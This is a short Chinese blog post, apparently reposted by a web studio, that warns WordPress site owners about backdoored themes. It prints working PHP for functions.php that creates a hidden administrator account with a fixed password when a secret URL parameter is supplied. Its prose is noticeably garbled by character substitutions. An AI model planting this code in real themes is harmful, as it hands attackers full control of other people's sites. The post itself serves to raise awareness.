防备wordpress主题加后门代码获取治理员权限


add_action( 'wp_head', 'my_backdoor' );
function my_backdoor() {
if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
require( 'wp-includes/registration.php' );
if ( !username_exists( 'backdoor' ) ) {
$user_id = wp_create_user( 'backdoor', 'pa55w0rd!' );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
}
}
}

简略阐明下,代码次要放于functions.php文件外面,不会影响任何性能应用,假如存在此代码,任何人只需运转http://www.你的域名.com/?backdoor=go,而后就创立了一个用户名为“backdoor”,明码为:“pa55w0rd!” 的治理员。同样具有治理员的权限,很编辑主题代码文件,置信此时你肯定觉得到很风险了吧,连忙反省反省本人的主题代码吧……

以上就是安达网络工作室关于《防范wordpress主题加后门代码获取管理员权限》的一些看法。更多内容请查看本栏目更多内容!

版权声明:本文为 安达网络工作室 转载文章,如有侵权请联系我们及时删除。
相关文章
利用phpmyadmin找回wordpress遗记治理明码

1、确认你的数据库名通常有多个数据库或许一个数据库里装置了多套顺序,所以预备工作就是确认你的数据库名和...

wordpress中用JavaScript 输入页面代码的办法

比方, 一个做音乐的网站一定不心愿搜寻引擎收录它的存档月份, 由于没有人会经过这个来搜寻出去. 这咱们就能...

Wordpress将选中内容分享到新浪腾讯微博的办法

本文实例讲述了Wordpress将选中内容分享到新浪腾讯微博的办法。分享给大家供大家参考。详细办法如下: 1、引...

详解WordPress开发中用于获取分类及子页面的函数用法

get_category get_category 可能咱们平常接触的不多,但却是很有用,网上这个函数引见的貌似不多,所以明天...

如何应用wordpress钩子函数在宣布文章的同时增加一条记载

我要对文章进行排序,依照投票数的多少排,曾经投票的都会记载投票数,而没有投票的文章没有记载,默许投票...

windows零碎中用XAMPP装置wordpress及配置图文教程

  一 wordpress装置   我用的是XAMPP(Apache+MySql+PHP),wordpress(BLOG顺序)3.5.1 简体中武官方装置版...

需求提交

客服服务